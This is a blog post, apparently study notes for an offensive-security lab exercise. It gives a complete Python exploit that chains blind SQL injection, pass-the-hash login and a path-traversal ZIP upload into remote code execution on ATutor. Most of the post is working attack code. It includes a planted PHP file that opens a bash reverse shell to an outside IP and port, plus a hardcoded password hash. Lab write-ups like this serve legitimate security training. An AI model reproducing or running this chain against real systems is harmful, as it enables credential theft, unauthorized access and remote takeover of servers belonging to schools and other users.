4.9.4

R3zk0n · October 2, 2025

Contents

    4.9.4

    Develop a fully functional exploit that will combine the previous vulnerabilities to achieve remote code execution:

    • Use the SQL injection to disclose the teacher’s password hash
    • Log in with the disclosed hash (using the pass the hash vulnerability)
    • Upload a ZIP that contains a PHP file and extract it into the web root
    • Gain remote code execution!

    Solution

    • Combine previous payloads together
    • Manually visit each page (not too efficient)
    • Requires calling the “bounce” URL - this can be scraped by using bs4
    #!/usr/bin/python
    import hashlib
    import requests
    import sys
    import zipfile
    from cStringIO import StringIO
    
    def gen_hash(passwd, token):
        new_hash = passwd + token
        return hashlib.sha1(new_hash).hexdigest()
    
    def we_can_login_with_a_hash(ip, hash):
        target = "http://%s/ATutor/login.php" % ip
        token = "hax"
        hashed = gen_hash(hash, token)
        d = {
            "form_password_hidden" : hashed,
            "form_login": "teacher",
            "submit": "Login",
            "token" : token
        }
        s = requests.Session()
        r = s.post(target, data=d)
        res = r.text
        if "Create Course: My Start Page" in res or "My Courses: My Start Page" in res:
            return True
        return False
    
    def searchFriends_enum(ip, inj_str):
        for j in range(32, 126):
            target = "http://%s/ATutor/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
            r = requests.get(target)
            content_length = int(r.headers['Content-Length'])
            if (content_length > 20):
                return j
        return None    
    
    def inject(r, inj, ip):
        extracted = ""
        for i in range(1, r):
            injection_string = "test'/**/or/**/(ascii(substring((%s),%d,1)))=[CHAR]/**/or/**/1='" % (inj,i)
            retrieved_value = searchFriends_enum(ip,  injection_string)
            if(retrieved_value):
                extracted += chr(retrieved_value)
                extracted_char = chr(retrieved_value)
                sys.stdout.write(extracted_char)
                sys.stdout.flush()
            else:
                print "\n(+) done!"
                break
        return extracted
    
    def _build_zip():
        f = StringIO()
        z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
        z.writestr('../../../../../var/www/html/ATutor/mods/poc/poc.php5', '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/192.168.119.137/4444 0>&1\'");')
        z.writestr('imsmanifest.xml', 'invalid xml!')
        z.close()
        zip = open('poc.zip','wb')
        zip.write(f.getvalue())
        zip.close()
    
    def upload_file(ip, hash):
        http_proxy  = "http://127.0.0.1:8080"
        https_proxy = "https://127.0.0.1:8080"
    
        proxyDict = { 
                  "http"  : http_proxy, 
                  "https" : https_proxy,
                }
    
        target = "http://%s/ATutor/login.php" % ip
        token = "hax"
        hashed = gen_hash(hash, token)
        d = {
            "form_password_hidden" : hashed,
            "form_login": "teacher",
            "submit": "Login",
            "token" : token
        }
        s = requests.Session()
        r = s.post(target, data=d, proxies=proxyDict)
    
        new_target = 'http://%s/ATutor/bounce.php?course=16777215' % ip
        s.get(new_target, proxies=proxyDict)
        new_target = 'http://%s/ATutor/mods/_standard/tests/my_tests.php' % ip
        s.get(new_target, proxies=proxyDict)
        new_target = 'http://%s/ATutor/mods/_standard/tests/index.php' % ip
        s.get(new_target, proxies=proxyDict)
        new_target = 'http://%s/ATutor/bounce.php?course=16777215' % ip
        s.get(new_target, proxies=proxyDict)
        new_target = 'http://%s/ATutor/mods/_standard/tests/my_tests.php' % ip
        s.get(new_target, proxies=proxyDict)
        new_target = 'http://%s/ATutor/mods/_standard/tests/index.php' % ip
        s.get(new_target, proxies=proxyDict)
    
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://192.168.137.103/ATutor/mods/_standard/tests/index.php",
            "Origin": "http://192.168.137.103"
        }
        with open('poc.zip') as file:
            files = {
                'submit_import': (None, 'Import'),
                'file': ('poc.zip', file),
            }
            target = "http://%s/ATutor/mods/_standard/tests/import_test.php" % ip
            response = s.post(target, headers=headers, proxies=proxyDict, files=files)
            res = response.text
            if "XML error" in res:
                return True
            else:
                return False
    
    def main():
        print "ATutor Unauthenticated Remote Code Execution Exploit"
        if len(sys.argv) != 2:
            print "(+) usage: %s <target>"  % sys.argv[0]
            print '(+) eg: %s 192.168.121.103'  % sys.argv[0]
            sys.exit(-1)
    
        ip = sys.argv[1]
        
        print "(+) Attempting to retrieve username...."
        #query = "select/**/login/**/from/**/AT_members"
        #username = inject(50, query, ip)
        username = "teacher"
        print "(+) Username retrieved: %s" % username
        print "(+) Attempting to retrieve password hash...."
        #query = "select/**/password/**/from/**/AT_members/**/where/**/login/**/=/**/'%s'" % username
        #password_hash = inject(50, query, ip)
        password_hash = "8635fc4e2a0c7d9d2d9ee40ea8bf2edd76d5757e"
        print "(+) Password retrieved: %s" % password_hash
    
        if we_can_login_with_a_hash(ip, password_hash):
            print "(+) Can authenticate to application with username and password hash!"
            _build_zip()
            if upload_file(ip, password_hash):
                print "(+) Successfully uploaded malicious file"
                target = 'http://%s/ATutor/mods/poc/poc.php5' % ip
                requests.get(target)
            else:
                print"(-) File was not successfully uploaded"
        else:
            print "(-) Could not authenticate with username and password hash!"
    
    if __name__ == "__main__":
        main()
    

    Twitter, Facebook